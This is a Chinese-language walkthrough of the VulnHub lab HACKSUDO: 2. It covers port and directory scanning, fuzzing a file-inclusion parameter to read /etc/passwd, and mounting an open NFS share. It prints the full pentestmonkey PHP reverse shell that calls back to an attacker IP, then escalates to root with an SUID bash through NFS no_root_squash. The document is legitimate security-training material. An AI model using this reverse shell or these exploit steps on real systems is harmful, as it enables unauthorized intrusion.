vulnhub靶場之HACKSUDO: 2 (HACKDUDO)

upfine發表於2023-03-28

準備:

攻擊機:虛擬機器kali、本機win10。

靶機:hacksudo: 2 (HackDudo),下載地址:https://download.vulnhub.com/hacksudo/hackdudo2.rar,下載後直接vbox開啟即可。

知識點:ffuf爆破、nfs服務提權、shell反彈。

一:資訊收集

1.nmap掃描

使用nmap掃描下靶機地址,命令:nmap -sn 192.168.1.0/24,發現靶機地址:192.168.1.111。

vulnhub靶場之HACKSUDO: 2 (HACKDUDO)

使用nmap掃描下埠對應的服務:nmap -T4 -sV -p- -A 192.168.1.111,顯示開放了1337埠、80埠、2049埠等,開啟了ssh服務、http服務、nfs服務。

vulnhub靶場之HACKSUDO: 2 (HACKDUDO)

2.目錄掃描

使用gobuster進行目錄掃描,命令:gobuster dir -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.1.111,發現/web、/audio、/file.php等目錄和檔案。

vulnhub靶場之HACKSUDO: 2 (HACKDUDO)

3.ffuf爆破

對掃描出來的目錄進行訪問收集資訊,在訪問:http://192.168.1.111/file.php時,頁面提示file access(檔案訪問),猜測這裡存在檔案包含漏洞。因此使用ffuf進行爆破,命令:ffuf -w /usr/share/SecLists/Discovery/Web-Content/common.txt -u 'http://192.168.1.111/file.php?FUZZ=../../../../../etc/passwd' -fs 238,成功獲得引數file。

vulnhub靶場之HACKSUDO: 2 (HACKDUDO)

vulnhub靶場之HACKSUDO: 2 (HACKDUDO)

利用獲得的引數去讀取下/etc/passwd檔案,檢視下當前系統具有哪些賬戶,發現賬戶資訊:hacksudo。

vulnhub靶場之HACKSUDO: 2 (HACKDUDO)

二:NFS服務

1.nfs服務掛載

NFS,全稱Network File System,即網路檔案系統。最大的功能是透過網路,讓不同的機器、不同的作業系統可以共享彼此的檔案。可以理解為本地多了一個虛擬磁碟。那我們就查詢下NFS伺服器的全部共享目錄,命令:showmount -e 192.168.1.111,發現共享目錄:/mnt/nfs *,*表示具有所有許可權(讀寫,ro表示只讀)。

vulnhub靶場之HACKSUDO: 2 (HACKDUDO)

nfs服務的缺點之一是客戶端沒有使用者認證機制,那我們將該目錄掛載到本地kali中,命令:mkdir /mnt/nfs、mount -t nfs 192.168.1.111:/mnt/nfs /mnt/nfs,然後檢視該目錄資訊發現存在一個flag值,讀取該檔案成功獲得flag值。

vulnhub靶場之HACKSUDO: 2 (HACKDUDO)

2.shell反彈

將我們的shell反彈指令碼寫入到nfs,然後利用http://192.168.1.111/file.php存在的檔案包含漏洞訪問我們寫入的shell反彈檔案:http://192.168.1.111/file.php?file=/mnt/nfs/shell.php,成功獲得shell許可權。

shell反彈指令碼

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.1.83';
$port = 6688;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

vulnhub靶場之HACKSUDO: 2 (HACKDUDO)

三:提權

找了一圈沒找到可以進行提權的點,那就直接上指令碼:linpease.sh跑一下,在指令碼也沒發現好用的漏洞資訊,後面想到這臺機器開啟了nfs服務,就查詢了以下nfs提權漏洞,發現當前nfs配置檔案中配置:no_root_squash選項時存在提權漏洞,那就檢視下nfs配置檔案的配置資訊,命令:cat /etc/exports。

vulnhub靶場之HACKSUDO: 2 (HACKDUDO)

那我們就利用nfs提權漏洞進行提權,命令:cp /bin/bash . 、chmod +s bash,然後在靶機中透過./bash -p來實現提權至root,我這裡是因為kali的bash太高,導致提權失敗。

vulnhub靶場之HACKSUDO: 2 (HACKDUDO)

後面就又臨時裝了一個虛擬機器,重新執行上面的命令,成功獲得root許可權並讀取到flag值。

vulnhub靶場之HACKSUDO: 2 (HACKDUDO)

相關文章